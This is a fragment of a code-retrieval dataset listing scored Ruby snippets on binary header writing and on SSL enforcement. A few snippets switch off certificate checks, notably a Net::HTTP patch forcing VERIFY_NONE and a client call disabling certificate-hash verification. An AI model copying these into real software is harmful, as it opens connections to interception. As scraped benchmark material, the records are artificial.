"text": "def write_bytes(datum)\n write_long(datum.bytesize)\n @writer.write(datum)\n end",
"title": ""
},
{
"docid": "50c1366e656dadf0e4a21f0ed7664ecb",
"score": "0.46984264",
"text": "def header\n @defaultFlags, @chainLength, @nFeatureEntries, @nSubtables = @bytes[0, 16].unpack('NNNN')\n end",
"title": ""
},
{
"docid": "f55494ab6dd6cf887afcb07199598a5a",
"score": "0.4689579",
"text": "def write_headers_to_socket(io)\n io.write write_headers\n end",
"title": ""
},
{
"docid": "6d4aea299a8c9f8d614cab02b3e7962c",
"score": "0.46884784",
"text": "def writebytes(str)\n flushbits\n write(str)\n end",
"title": ""
},
{
"docid": "b11b75780eb65bd5eb49c0b60055e338",
"score": "0.46875015",
"text": "def pack_length(length)\n [length].pack(\"Q>\").force_encoding(Encoding::BINARY)\n end",
"title": ""
},
{
"docid": "05c65bd62f88a141ffe3f5abec1817fd",
"score": "0.46810895",
"text": "def write(data)\n if @headerSent\n IO.copy_stream(StringIO.new(\"#{data.length.to_s(16)}\\r\\n\"), @client)\n IO.copy_stream(StringIO.new(\"#{data}\\r\\n\"), @client)\n else\n raise Exception, \"Headers hasn't been send\"\n end\n end",
"title": ""
},
{
"docid": "9d7ffaec6af592e2887cb0544f217415",
"score": "0.4678888",
"text": "def header\n @version, @reserved, @nChains = @bytes[0, 8].unpack('nnN')\n end",
"title": ""
},
{
"docid": "316f5f849b2678407a636a80109a721c",
"score": "0.4676909",
"text": "def byteshift(count)\n force_encoding(Encoding::BINARY)\n slice!(0, count)\n end",
"title": ""
},
{
"docid": "76ad06c336b49aaa36ff80d57b742083",
"score": "0.4673235",
"text": "def basic_header\n case chunk_stream_id\n when 2..63\n [((chunk_type & 0x2) << 7) | (chunk_stream_id & 0x6)].pack('C')\n when 64..319\n [((chunk_type & 0x2) << 7) | 0x0].pack('C') + [chunk_stream_id - 64].pack('C')\n when 320..65599\n [((chunk_type & 0x2) << 7) | 0x1].pack('C') + [chunk_stream_id - 64].pack('S')\n else\n raise ArgumentError, \"invalid chunk stream ID `#{chunk_stream_id}`\"\n end\n end",
"title": ""
},
{
"docid": "4a9bebe2fa78f01e3a4262178c9481e6",
"score": "0.4673115",
"text": "def chunk(name, data)\n raise \"chunk name must be four characters long\" unless name.length == 4\n [data.length].pack(\"N\") + name + data # TODO: not sure if this is unsigned\n end",
"title": ""
},
{
"docid": "48d6d7ee5ca24c6567c908d155556bb2",
"score": "0.46724516",
"text": "def write_string(string)\n @payload << string.force_encoding(Encoding::BINARY)\n write_byte(10)\n end",
"title": ""
},
{
"docid": "be3444d2d7b8d13890795b501ea2a828",
"score": "0.46555543",
"text": "def print_header\n header_string = '\"T\", ' <<\n \"\\\"FEL\\\", \" <<\n \"\\\"Approaching\\\", \" <<\n \"\\\"Landing Queue\\\", \" <<\n \"\\\"Circling\\\", \" <<\n \"\\\"Landing Zone\\\", \" <<\n \"\\\"Done\\\", \" <<\n \"\\\"sum(Na)\\\", \\\"sum(Nlq)\\\", \\\"sum(Nc)\\\", \" <<\n \"\\\"sum(Nlz)\\\", \\\"sum(Ntp)\\\", \" <<\n \"\\\"sum(Nd)\\\", \" <<\n \"\\\"Nlq>4\\\", \" <<\n \"\\\"sum(Nlq>4)\\\"\" <<\n \"\\n\"\n @output_file.write header_string\n end",
"title": ""
},
{
"docid": "3869bcf04842152c3ee55dad9aaf6556",
"score": "0.46530116",
"text": "def write_string(data)\n write_int(data.bytesize)\n write(data)\n end",
"title": ""
},
{
"docid": "6f1e644c5830f1ba3cde7c6ccf540e81",
"score": "0.46525425",
"text": "def write\n File.open(@filename, 'wb:ASCII-8BIT') do |io|\n packer = LocalFileHeader::Packer.new io\n headers = []\n @directory.each do |member|\n header = CdFileHeader.default\n header.compression_method = 8 # XXX configurable\n # XXX hack fix for maintaining method in zipped data copies\n if member.is_a? ZipMember\n header.compression_method = member.compression_method\n end\n header.name = member.name\n header.extra_field = \"\" # XXX extra field unimplemented\n header_size = header.file_name_length + header.extra_field_length + 30\n\n # record header position so we can write it later\n header.local_file_header_offset = io.pos\n\n # move to after the header\n io.seek header_size, IO::SEEK_CUR\n\n # write the compressed data\n header.compressed_size, header.uncompressed_size, header.crc32 =\n member.write_to io, header.compression_method\n\n # write the completed header, returning to the current position\n io.seek header.local_file_header_offset\n # packer.pack LocalFileHeader.from header.convert_to LocalHileHeader\n packer.pack header.convert_to LocalFileHeader\n io.seek header.compressed_size, IO::SEEK_CUR\n headers << header\n end\n\n eocdr = EndCdRecord.default\n eocdr.cd_offset = io.pos\n packer = CdFileHeader::Packer.new io\n headers.each do |header|\n packer.pack header\n end\n eocdr.cd_size = io.pos - eocdr.cd_offset\n eocdr.records = eocdr.total_records = headers.size\n EndCdRecord::Packer.new(io).pack eocdr\n end\n end",
"title": ""
},
{
"docid": "7fc7ff3833f6a249f7cbe3f8119ff75a",
"score": "0.46500692",
"text": "def write(buf, offset)\n buf.write_binary(bytes, offset)\n end",
"title": ""
},
{
"docid": "cd86e0f83be8716ad74d0b72b7f46d12",
"score": "0.4626618",
"text": "def write(chunk)\n chunk_header = chunk.bytesize.to_s(16)\n @socket << chunk_header + CRLF\n @socket << chunk + CRLF\n rescue IOError, SystemCallError => ex\n raise Reel::SocketError, ex.to_s\n end",
"title": ""
},
{
"docid": "c2a1ac6929bda28d416f2cd88d905618",
"score": "0.46247968",
"text": "def _encrypted_data_header_v2(salt, iter_mag)\n \"\\x02\" + salt.bytes.length.chr + [iter_mag].pack('c') + salt\n end",
"title": ""
},
{
"docid": "b0c322f3e840dbbfb441c81ec189222b",
"score": "0.4624524",
"text": "def send_headers(stream:, header_obj:, filename:)\n out_headers = ['HTTP/1.1 200 OK']\n\n # keep some heads from this request and write them over to the outgoing headers\n heads = header_obj.slice('Content-Type', 'content-type', 'Content-Length', 'content-length', 'ETag')\n heads.each_pair { |k, v| out_headers.push(\"#{k}: #{v}\") }\n\n # add these headers\n out_headers +=\n [\"Content-Disposition: attachment; filename=\\\"#{filename}\\\"\",\n 'X-Accel-Buffering: no',\n 'Cache-Control: no-cache',\n \"Last-Modified: #{Time.zone.now.ctime}\"]\n\n stream.write(out_headers.map { |header| \"#{header}\\r\\n\" }.join)\n stream.write(\"\\r\\n\")\n stream.flush\n rescue StandardError => e\n Rails.logger.error(\"Error writing header: #{e}\")\n stream.close\n raise e\n end",
"title": ""
},
{
"docid": "ef10c07593e5dd4a09c9f479c2bf141c",
"score": "0.46162847",
"text": "def width= w\n @head_data.pos = 8\n while bytes = @head_data.read(8)\n length, type = bytes.unpack 'Na*'\n if type == 'IHDR'\n @head_data << [w].pack('N')\n @head_data.pos -= 4\n data = @head_data.read length\n @head_data << [Zlib.crc32(data, Zlib.crc32(type))].pack('N')\n break\n end\n end\n @head_data.rewind\n w\n end",
"title": ""
},
{
"docid": "07e6e579df03a1bdddc52dda6b8f09ac",
"score": "0.45922875",
"text": "def do_write(s)\n @write_buffer << s\n @write_buffer.force_encoding(Encoding::BINARY)\n\n if @sync or @write_buffer.size > BLOCK_SIZE or idx = @write_buffer.rindex($/)\n remain = idx ? idx + $/.size : @write_buffer.length\n nwritten = 0\n\n while remain > 0\n str = @write_buffer[nwritten,remain]\n begin\n nwrote = syswrite(str)\n rescue Errno::EAGAIN\n retry\n end\n remain -= nwrote\n nwritten += nwrote\n end\n\n @write_buffer[0,nwritten] = \"\"\n end\n end",
"title": ""
},
{
"docid": "19365299811114542751d3cf9e68116c",
"score": "0.45919964",
"text": "def write_header\n manifest_header =\n\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\n<package xmlns=\\\"http://www.idpf.org/2007/opf\\\" unique-identifier=\\\"ISBN\\\" version=\\\"3.0\\\">\n <metadata xmlns:dc=\\\"http://purl.org/dc/elements/1.1/\\\">\n <dc:title>#{@book_title}</dc:title>\n <dc:identifier id=\\\"ISBN\\\">#{@book_isbn}</dc:identifier>\n <dc:publisher>#{@book_publisher}</dc:publisher>\n <dc:creator>#{@book_creator}</dc:creator>\n <dc:contributor>#{@book_contributor}</dc:contributor>\n <dc:language>en</dc:language>\n <meta property=\\\"dcterms:modified\\\">#{Time.now.to_s.split(' ')[0..1].join('T')}Z</meta>\n </metadata>\n <manifest>\n\"\n File.open(opf_file_path, 'w') do |f|\n f.write(manifest_header)\n end\n end",
"title": ""
},
{
"docid": "c5088136c7d2dab5b6cf9b8fb9a961c4",
"score": "0.45910826",
"text": "def write(chunk); end",
"title": ""
},
{
"docid": "c5088136c7d2dab5b6cf9b8fb9a961c4",
"score": "0.45910826",
"text": "def write(chunk); end",
"title": ""
},
{
"docid": "c5088136c7d2dab5b6cf9b8fb9a961c4",
"score": "0.45910826",
"text": "def write(chunk); end",
"title": ""
},
{
"docid": "c5088136c7d2dab5b6cf9b8fb9a961c4",
"score": "0.45910826",
"text": "def write(chunk); end",
"title": ""
},
{
"docid": "c7f9277c384c9296302c3bc092859d88",
"score": "0.4584862",
"text": "def dummy_header(len)\n l = len.to_s.length\n return (0...len).map {|i| \"X#{i.to_s.rjust(l, \"0\")}\" }\nend",
"title": ""
},
{
"docid": "c3db881177de29fab875247df6a95e28",
"score": "0.45807195",
"text": "def write_connection_header(version); end",
"title": ""
},
{
"docid": "f0426991550b609520273c28680c2831",
"score": "0.45709464",
"text": "def format(cmdNumber, isLocal=true)\n header.commandByte = (isLocal ? 0 : 0x80) | (cmdNumber << 3) | self.num_data_words\n header.checksum8 = self.cs8\n end",
"title": ""
},
{
"docid": "676a8733d4f2014a55bcc3a986782a78",
"score": "0.45623374",
"text": "def pack_version(version)\n [version].pack(\"n\").force_encoding(Encoding::BINARY)\n end",
"title": ""
},
{
"docid": "a0c2483b73fbc265c86306a0493115d2",
"score": "0.45608124",
"text": "def write(type, label, message)\n encoding = \"\"\n encoding << label.length << label if label\n encoding << message.encoding if message\n send_all([encoding.length + 1, type].pack(\"Nc\") + encoding)\n end",
"title": ""
},
{
"docid": "565b5f2b8d3893600c79c4092739a388",
"score": "0.45584548",
"text": "def write(chunk)\n raise StateError, \"not in chunked body mode\" unless @response_state == :chunked_body\n chunk_header = chunk.bytesize.to_s(16)\n @socket << chunk_header + Response::CRLF\n @socket << chunk + Response::CRLF\n end",
"title": ""
},
{
"docid": "666aac35b9a021d0cd4eb2582e06e089",
"score": "0.4546859",
"text": "def serve_binary(buffer)\n response = Rack::Response.new\n mime_type = Zzmf::MagicNumber.from_string(buffer).mime_type\n response.headers['Content-Type'] = mime_type\n response.write(buffer)\n response.finish\n end",
"title": ""
},
{
"docid": "0c8cf0a1585c28a02cd7a70ed5a63939",
"score": "0.4539431",
"text": "def sample_packhdr_be_usec\n \"\\xA1\\xB2\\xC3\\xD4\" +\n \"S\\xD2b\\x8A\\x00\\x0Eh\\x1F\\x00\\x00\\x01f\\x00\\x00\\x01f\" +\n \"\\x00\\x00\\xFF\\xFF\\x00\\x00\\x00\\x01\" # padding\nend",
"title": ""
}
] |
866367abfa6d4cc1a2cc3c7b8c410aac
|
Makes browsers not think site is sketchy when ssl turned off. Disable this when ssl back on
|
[
{
"docid": "9fd0928da9c14109ee650e1bb935256a",
"score": "0.0",
"text": "def expire_hsts\n response.headers[\"Strict-Transport-Security\"] = 'max-age=0' if\n Rails.env.production?\n end",
"title": ""
}
] |
[
{
"docid": "eed6db95919573bc45cf7f72a507ad2e",
"score": "0.77507204",
"text": "def disable_ssl; end",
"title": ""
},
{
"docid": "4af03c8f9b8d5a2a3cc6fdd888e55abf",
"score": "0.7514594",
"text": "def force_ssl; end",
"title": ""
},
{
"docid": "4af03c8f9b8d5a2a3cc6fdd888e55abf",
"score": "0.7514594",
"text": "def force_ssl; end",
"title": ""
},
{
"docid": "feed94d7a64c29c007474fdb783391b8",
"score": "0.7205509",
"text": "def disable_ssl?\n # We don't need/want SSL encryption in a development environment, or when testing.\n Rails.application.config.consider_all_requests_local || !Settler[:ssl_enabled]\n end",
"title": ""
},
{
"docid": "6bd5422600016ef9ba1f0dbe8ac9e0b5",
"score": "0.70249087",
"text": "def force_ssl?\n @force_ssl || false\n end",
"title": ""
},
{
"docid": "cbe84a9a25bde81159b6a7e84f377219",
"score": "0.69658834",
"text": "def use_ssl?; end",
"title": ""
},
{
"docid": "74af57fd092f1567750442b7e2dd758e",
"score": "0.6930055",
"text": "def supports_ssl?\n\t false\n\tend",
"title": ""
},
{
"docid": "5170121bb138029f8dc0c79fcf67870a",
"score": "0.69298995",
"text": "def supports_ssl?\n false\n end",
"title": ""
},
{
"docid": "eb42def7a1ded40b7a77adce806369b7",
"score": "0.6929195",
"text": "def ssl_required?\n !disable_ssl?\n end",
"title": ""
},
{
"docid": "364181178d0b9d0933e73bca13bcaf2d",
"score": "0.6895385",
"text": "def ssl?; end",
"title": ""
},
{
"docid": "364181178d0b9d0933e73bca13bcaf2d",
"score": "0.6895385",
"text": "def ssl?; end",
"title": ""
},
{
"docid": "767506250bbb8c3b9f5e00737c0516cf",
"score": "0.6828106",
"text": "def require_ssl!\n request.halt(403) unless request.ssl?\n end",
"title": ""
},
{
"docid": "736c6127fd9172ece4cc8ec1786c7bb4",
"score": "0.6808272",
"text": "def ssl_required?\n true\n end",
"title": ""
},
{
"docid": "49804c3376cdcc427a064f9dc3ad9ab9",
"score": "0.680173",
"text": "def ssl_required?\r\n true\r\n end",
"title": ""
},
{
"docid": "cdee6c9fb656cb7f853b29bff17a40ce",
"score": "0.67871404",
"text": "def ssl_required\n if ENV['RAILS_ENV'] == \"production\" && Substruct.override_ssl_production_mode == false\n if !request.ssl?\n redirect_to \"https://\" + request.host + request.request_uri\n flash.keep\n return false\n end\n end\n end",
"title": ""
},
{
"docid": "fc29d23b1b3766207c4a166533364b3b",
"score": "0.6775026",
"text": "def force_ssl\n if !request.ssl? && Rails.env.production?\n redirect_to :protocol => 'https'\n end\n end",
"title": ""
},
{
"docid": "bb46b58a75aa00ed8115e04d5a625634",
"score": "0.6684583",
"text": "def disable_tls; end",
"title": ""
},
{
"docid": "af638e5ffa494b88bf1b720183992f94",
"score": "0.6660892",
"text": "def enable_ssl_verification\n true\n end",
"title": ""
},
{
"docid": "3d7c704a8054f4ba4e402a95d0088502",
"score": "0.66300845",
"text": "def ssl_required?\n return false if disable_ssl?\n return true if logged_in?\n super\n end",
"title": ""
},
{
"docid": "23884f8fcee3e61b048f232be240a5f5",
"score": "0.6627996",
"text": "def ssl_required?\n HTTPS_ON\n end",
"title": ""
},
{
"docid": "b5b4f87667152c0190382efa7d2e4bb6",
"score": "0.6572878",
"text": "def disable_starttls; end",
"title": ""
},
{
"docid": "6d39f853b59939fb2a044c8e43423071",
"score": "0.6563291",
"text": "def require_ssl\n @require_ssl = true\n end",
"title": ""
},
{
"docid": "ae96c54f0e5ef968a458731d52165c6d",
"score": "0.6515522",
"text": "def user_visited_a_non_ssl_page_since_login?\n cookies[:insecure].nil? || cookies[:insecure] == true\n end",
"title": ""
},
{
"docid": "c81479ad5d902d22caa2053b5198c729",
"score": "0.6482942",
"text": "def usessl?\n @usessl\n end",
"title": ""
},
{
"docid": "d043060df39d2690eff4842fb1c2304a",
"score": "0.64740396",
"text": "def use_ssl?\n use_ssl\n end",
"title": ""
},
{
"docid": "adb7a459d09e3c59d4405483bedbb6ed",
"score": "0.6461096",
"text": "def enforce_ssl\n redirect_to url_for(protocol: 'https')\n end",
"title": ""
},
{
"docid": "6761f206911aba0f026326511f09864f",
"score": "0.64590114",
"text": "def https?; end",
"title": ""
},
{
"docid": "f629c3b44e556c767cd1ae82acba3a72",
"score": "0.64552104",
"text": "def verify_ssl\n true\n end",
"title": ""
},
{
"docid": "129565d7bbb5ae0e2faa17ff353af6aa",
"score": "0.6424738",
"text": "def ssl_allowed?\n\t\tnot ssl_required?\n\tend",
"title": ""
},
{
"docid": "52ef91edaa6c007375c6442ebce6d627",
"score": "0.64201134",
"text": "def force_ssl=(_arg0); end",
"title": ""
},
{
"docid": "52ef91edaa6c007375c6442ebce6d627",
"score": "0.64201134",
"text": "def force_ssl=(_arg0); end",
"title": ""
},
{
"docid": "46b77b0f03241ccf9c8ccb460638fd3e",
"score": "0.6385985",
"text": "def hubssolib_ensure_https\n unless request.ssl?\n # This isn't reliable: redirect_to({ :protocol => 'https://' })\n redirect_to (hubssolib_promote_uri_to_ssl(request.request_uri, request.host))\n return false\n else\n return true\n end\n end",
"title": ""
},
{
"docid": "c41ef760cf6159bcec16848c4db96415",
"score": "0.638368",
"text": "def serverssl\n super\n end",
"title": ""
},
{
"docid": "9cb6ba1ffb3c4d15fbb484c7ac695c5f",
"score": "0.6381977",
"text": "def ssl?\n return ssl\n end",
"title": ""
},
{
"docid": "ebd114a54b5a58d3f16c973f2c8af59e",
"score": "0.63680166",
"text": "def use_ssl?\n @ssl\n end",
"title": ""
},
{
"docid": "82f45eeac2d4ffe8a9f492581a86dbf3",
"score": "0.6364067",
"text": "def modssl_emulation_state\n super\n end",
"title": ""
},
{
"docid": "aa33bed77aba7801d88c77ffb7052e51",
"score": "0.63521624",
"text": "def ssl_option\n super\n end",
"title": ""
},
{
"docid": "ed76217264bb228f254e856d3de176f3",
"score": "0.63269657",
"text": "def ssl; end",
"title": ""
},
{
"docid": "f99a9e3edf066daf8e9da2b9a9d3ea2c",
"score": "0.6323414",
"text": "def require_ssl!\n throw(:halt, 403) unless request.secure?\n end",
"title": ""
},
{
"docid": "837422242e838606e73de2b6035093d7",
"score": "0.632178",
"text": "def ssl_configured?\n !Rails.env.development?\n end",
"title": ""
},
{
"docid": "209c3feb68a967329eddfb835ecce4b2",
"score": "0.6307918",
"text": "def require_ssl\n return_error(error_code: 403, message: 'HTTPS Required') unless request.secure?\n end",
"title": ""
},
{
"docid": "581bc640c42adb8257fb803e8a936036",
"score": "0.6291",
"text": "def require_ssl\n if request.ssl? or Rails.env == 'development' \n true\n else\n redirect_to({:protocol => 'https://'}.merge(params), :flash => flash)\n false\n end\n end",
"title": ""
},
{
"docid": "ba5d27d88ddc0eed70ba50a637f19f95",
"score": "0.6283553",
"text": "def ssl_required?\n ! Rails.env.test?\n end",
"title": ""
},
{
"docid": "c514925f06ae622c753f04e13d309832",
"score": "0.627589",
"text": "def ssl?\n ssl\n end",
"title": ""
},
{
"docid": "52036be583dbd68762d9d4c473f2dd03",
"score": "0.62636375",
"text": "def ssl?\n @transport_mode == '~'\n end",
"title": ""
},
{
"docid": "596ddf7632f3585099c4eed13ad08359",
"score": "0.6251431",
"text": "def ssl_requirement\n return unless Rails.env.production?\n if ssl_required? && ! request.ssl? then\n # Send to https://\n flash.keep\n redirect_to 'https://' + request.host_with_port + request.fullpath\n elsif ! ssl_required? && request.ssl? then\n # Send to http://\n flash.keep\n redirect_to 'http://' + request.host_with_port + request.fullpath\n end\n end",
"title": ""
},
{
"docid": "3c2331d095e2ce50f549c009fecdc860",
"score": "0.6243265",
"text": "def force?(env)\n !ssl?(env)\n end",
"title": ""
},
{
"docid": "8ffaa2d75f08be0c4514d575c204131b",
"score": "0.6241029",
"text": "def ssl_options; end",
"title": ""
},
{
"docid": "8ffaa2d75f08be0c4514d575c204131b",
"score": "0.6241029",
"text": "def ssl_options; end",
"title": ""
},
{
"docid": "6fd85e8f1e79141478f70ea5678a5e31",
"score": "0.62189204",
"text": "def use_ssl?\n self.class.use_ssl || false\n end",
"title": ""
},
{
"docid": "2ce82cef5683ed4fe97595403d5be7be",
"score": "0.6211431",
"text": "def ssl_configured?\n Rails.env.production? && request.path != '/cable'\n end",
"title": ""
},
{
"docid": "f9c6db970ba09068b5bf379578f8f1f5",
"score": "0.6198187",
"text": "def local_https_enabled\n get('beef.http.https.enable') || false\n end",
"title": ""
},
{
"docid": "be42e33df2448ea8019c4fd88513b927",
"score": "0.61838865",
"text": "def ensure_proper_protocol\n if !request.ssl? && USE_SSL && ssl_required?\n redirect_to :protocol => 'https://', :action => action_name\n return false\n end\n return true\n end",
"title": ""
},
{
"docid": "7be2240421a14be47739064a18712a65",
"score": "0.61726016",
"text": "def is_ssl\n # TS_INFO: Returns true always\n # if ( isset( $_SERVER['HTTPS'] ) ) {\n # if ( 'on' == strtolower( $_SERVER['HTTPS'] ) ) {\n # return true;\n # }\n #\n # if ( '1' == $_SERVER['HTTPS'] ) {\n # return true;\n # }\n # } elseif ( isset( $_SERVER['SERVER_PORT'] ) && ( '443' == $_SERVER['SERVER_PORT'] ) ) {\n # return true;\n # }\n # return false;\n true\n end",
"title": ""
},
{
"docid": "94d0cf7b1b6fa736150d72a033934b43",
"score": "0.6148119",
"text": "def ssl?\n @uri.scheme == \"https\"\n end",
"title": ""
},
{
"docid": "94d0cf7b1b6fa736150d72a033934b43",
"score": "0.6148119",
"text": "def ssl?\n @uri.scheme == \"https\"\n end",
"title": ""
},
{
"docid": "c69b02a1a00259c6b83eb3714f2a72fc",
"score": "0.6140073",
"text": "def ssl_required?\n (APP_CONFIG['use_https'] and !session[:user_id].nil?)\n end",
"title": ""
},
{
"docid": "758c1e13d131eb3b09251b93ea9af142",
"score": "0.6126838",
"text": "def ssl_opts; end",
"title": ""
},
{
"docid": "7ae158626e4a7c2aa63dfe41056289d2",
"score": "0.6114099",
"text": "def ssl?\n uri.scheme == 'https'\n end",
"title": ""
},
{
"docid": "7ae158626e4a7c2aa63dfe41056289d2",
"score": "0.6114099",
"text": "def ssl?\n uri.scheme == 'https'\n end",
"title": ""
},
{
"docid": "9c9ba4988b1f9a52b31789dbc7b93281",
"score": "0.6111308",
"text": "def ssl?\n @url.scheme == 'https'\n end",
"title": ""
},
{
"docid": "08025b53a21585e32cd336d31816a736",
"score": "0.6108741",
"text": "def ssl?\n return @ssl\n end",
"title": ""
},
{
"docid": "1a14c4a6ad21e23caf1ec99f773d3967",
"score": "0.61032313",
"text": "def secure?\n false\n end",
"title": ""
},
{
"docid": "21700da833818cbadc4301fba9e763c3",
"score": "0.6086811",
"text": "def ssl_options(options = {})\n {:protocol => \"https\", :only_path => false} unless Rails.env.development?\n end",
"title": ""
},
{
"docid": "04b45d8ff5af5b080acf47d6952e2a26",
"score": "0.608157",
"text": "def ssl_options\n replace_verify_mode(ssl)\n end",
"title": ""
},
{
"docid": "b014d98fbde64cc54c5a6a742df4e3b6",
"score": "0.60730195",
"text": "def ssl?\n ssl.present?\n end",
"title": ""
},
{
"docid": "51d47355c24b9111ae9a47cc62cd2210",
"score": "0.607078",
"text": "def ssl_enabled?\n\t\t\tssl && ssl_on\n\t\tend",
"title": ""
},
{
"docid": "6942f3464dad51846ffcd7a80b291a11",
"score": "0.60705173",
"text": "def ssl_required?\n if get_config(\"SSL\") == \"true\"\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "737c81d5a8e8803a3966c5ad3bd87aa9",
"score": "0.6062248",
"text": "def ssl_check_peer_state\n super\n end",
"title": ""
},
{
"docid": "f27efffa29d481b10ba540fbda0c7d26",
"score": "0.6058062",
"text": "def ssl?\n @j_del.isSsl\n end",
"title": ""
},
{
"docid": "aa47194a5b9aaf7351c89e75ef52572b",
"score": "0.6058045",
"text": "def secure?\n false\n end",
"title": ""
},
{
"docid": "6b7c6c38b699cbb18276ad55077d047f",
"score": "0.60494673",
"text": "def secure?\n false\n end",
"title": ""
},
{
"docid": "8e033a35a447340c0cc255da2906e156",
"score": "0.6047713",
"text": "def ssl?\n\t\treturn self.scheme == 'https'\n\tend",
"title": ""
},
{
"docid": "3176f4f181d304a9dd7ce06b73d7600c",
"score": "0.60422325",
"text": "def ssl?\n return @request_uri.scheme == \"https\"\n end",
"title": ""
},
{
"docid": "668eb9016536017e4b632e6306aad232",
"score": "0.60343295",
"text": "def use_ssl?\n true # user_signed_in? (but would need to ensure Devise runs under ssl)\n end",
"title": ""
},
{
"docid": "f736b44c97e9bf2fc12a0955c0e69580",
"score": "0.602792",
"text": "def no_tlsv1; end",
"title": ""
},
{
"docid": "933d0771d05b7d4cd079cb1f862aee59",
"score": "0.6019028",
"text": "def require_ssl\n log \"NAV: Checking for SSL\"\n # check for enviroment variable\n return unless ENV['REQUIRE_HTTPS']\n\n unless request.ssl?\n log \"NAV OVERRIDE: Redirecting to https://#{request.host_with_port}#{request.fullpath}\"\n redirect_to({:protocol => 'https://'}.merge(params), :flash => flash)\n end\n end",
"title": ""
},
{
"docid": "4e25e25cd31e03bb0eaea5916fd23f0d",
"score": "0.6014084",
"text": "def ssl_required_with_supported?\n ssl_supported? ? ssl_required_without_supported? : false\n end",
"title": ""
},
{
"docid": "4e25e25cd31e03bb0eaea5916fd23f0d",
"score": "0.6014084",
"text": "def ssl_required_with_supported?\n ssl_supported? ? ssl_required_without_supported? : false\n end",
"title": ""
},
{
"docid": "27cfd8020e387f0560758c15b09ad290",
"score": "0.599874",
"text": "def use_https\n if Rails.env.production?\n if get_protocol != 'https://'\n return redirect_to \"https://#{request.url[(get_protocol.size)..(-1)]}\"\n end\n end\n end",
"title": ""
},
{
"docid": "2b52998e6c3e8a6c5bb78221aff7a54f",
"score": "0.5985361",
"text": "def force_non_ssl_redirect(host = nil)\n if request.ssl? && !ssl_allowed?\n if request.get?\n redirect_options = {\n :protocol => 'http://',\n :host => host || request.host,\n :path => request.fullpath,\n }\n flash.keep if respond_to?(:flash)\n insecure_url = ActionDispatch::Http::URL.url_for(redirect_options)\n redirect_to insecure_url, :status => :moved_permanently\n else\n render :text => Spree.t(:change_protocol, :scope => :ssl), :status => :upgrade_required\n end\n end\n end",
"title": ""
},
{
"docid": "1ef7e5155b8db9539e45e557d6c22a25",
"score": "0.59846246",
"text": "def verify_ssl?\n ENV[\"BOOKINGSYNC_VERIFY_SSL\"] != \"false\"\n end",
"title": ""
},
{
"docid": "3d923760f544204824857b05ae9d819b",
"score": "0.5971226",
"text": "def use_ssl?\n port.to_i == 443\n end",
"title": ""
},
{
"docid": "d6284837d1319f301f173a412a7d74b3",
"score": "0.5965591",
"text": "def starttls_always?; end",
"title": ""
},
{
"docid": "0fb91cbf551666f27531a05de1f850a6",
"score": "0.5961649",
"text": "def no_tlsv1_1; end",
"title": ""
},
{
"docid": "0610c3aac939f654e30d2315a455bbd3",
"score": "0.5956465",
"text": "def reset_server_ssl_statistics\n super\n end",
"title": ""
},
{
"docid": "5be6ff71169ce15572a0910cd0fede47",
"score": "0.59515107",
"text": "def ssl_required?\n\t if get_config(\"SSL\") == \"true\"\n\t true\n\t else\n\t false\n\t end\n end",
"title": ""
},
{
"docid": "3d255cb4b16dc5c91035df259c007fe5",
"score": "0.59496963",
"text": "def force_ssl_admin(force = nil)\n # TS_INFO: true always\n #\tstatic forced = false\n #\n #\tunless force.nil?\n #\t\told_forced = forced\n #\t\tforced = force\n #\t\treturn old_forced\n #\tend\n #\n #\tforced\n true\n end",
"title": ""
},
{
"docid": "deeb5aa4ec3a523c863a2c79868c296c",
"score": "0.59474987",
"text": "def ssl_cipher_filter; end",
"title": ""
},
{
"docid": "fd287b0036c717ed53fa4d7f09cfb148",
"score": "0.5944555",
"text": "def off!\n Net::HTTP.class_eval do\n private\n\n undef connect\n\n def connect\n # we're off in 1.9 that means verify_mode = OpenSSL::SSL::VERIFY_NONE\n self.verify_mode = OpenSSL::SSL::VERIFY_NONE if self.respond_to?(:verify_mode)\n default_connect\n end\n end\n end",
"title": ""
},
{
"docid": "9a44d3a78ac315b080bc617eadb915d6",
"score": "0.59381944",
"text": "def ssl?\n @api_scheme == 'https'\n end",
"title": ""
},
{
"docid": "7423a2d50fe25c15e903375db87041a5",
"score": "0.5936102",
"text": "def configure_ssl(http); end",
"title": ""
},
{
"docid": "3e6f16a0bad5d1b98cdf525d4474a198",
"score": "0.5925174",
"text": "def ssl_required?\n\t if get_config(\"SSL\") == \"true\"\n\t true\n\t else\n\t false\n\t end\n\t end",
"title": ""
},
{
"docid": "1675bbf0dd203e8ac82036fc5473df60",
"score": "0.5920874",
"text": "def ssl_verify\n @ssl_verify || true\n end",
"title": ""
},
{
"docid": "6730c3a579a94c7c391c29ca337eccdc",
"score": "0.58940494",
"text": "def secure?\n @uri.port == 443\n end",
"title": ""
},
{
"docid": "9b398941b6403caac21b9e85c17f5aec",
"score": "0.58917654",
"text": "def disable_ssl_hash_verify\n # Not supported unless we have a socket with SSL enabled\n return nil unless self.client.sock.type? == 'tcp-ssl'\n\n request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH)\n\n # send an empty request to disable it\n client.send_request(request)\n\n return true\n end",
"title": ""
},
{
"docid": "67f4d02156dc2eb110091816d5f9f40e",
"score": "0.588791",
"text": "def tls?; end",
"title": ""
},
{
"docid": "f407a8b4c620c548e10ba0d8f897e031",
"score": "0.58759516",
"text": "def valid_ssl_connection?\n return [email protected]? && @https != false \n end",
"title": ""
},
{
"docid": "6d8a3309f6f9bbca013cedb5a82f0b47",
"score": "0.58742124",
"text": "def check_ssl_requirement # :nodoc:\n return true unless RAILS_ENV == 'production'\n return true unless defined?(SSL_REDIRECTS_ON) && SSL_REDIRECTS_ON\n \n case\n when !request.ssl? && @require_ssl\n logger.debug \"redirecting to secure page\"\n newparams = {}\n newparams.update(:host => (defined?(SSL_SECURE_HOST) ? SSL_SECURE_HOST : request.host) + (defined?(SSL_SECURE_PORT) ? \":#{SSL_SECURE_PORT.to_s}\" : ''))\n newparams.update(:protocol => 'https://')\n redirect_to(newparams) and return false\n when request.ssl? && !@require_ssl\n logger.debug \"redirecting to std\"\n newparams = {}\n newparams.update(:host => (defined?(SSL_STANDARD_HOST) ? SSL_STANDARD_HOST : request.host) + (defined?(SSL_STANDARD_PORT) ? \":#{SSL_STANDARD_PORT.to_s}\" : ''))\n newparams.update(:protocol => 'http://')\n redirect_to(newparams) and return false\n end\n end",
"title": ""
},
{
"docid": "6b35e08380957b545ba6bfbc4491298f",
"score": "0.58621794",
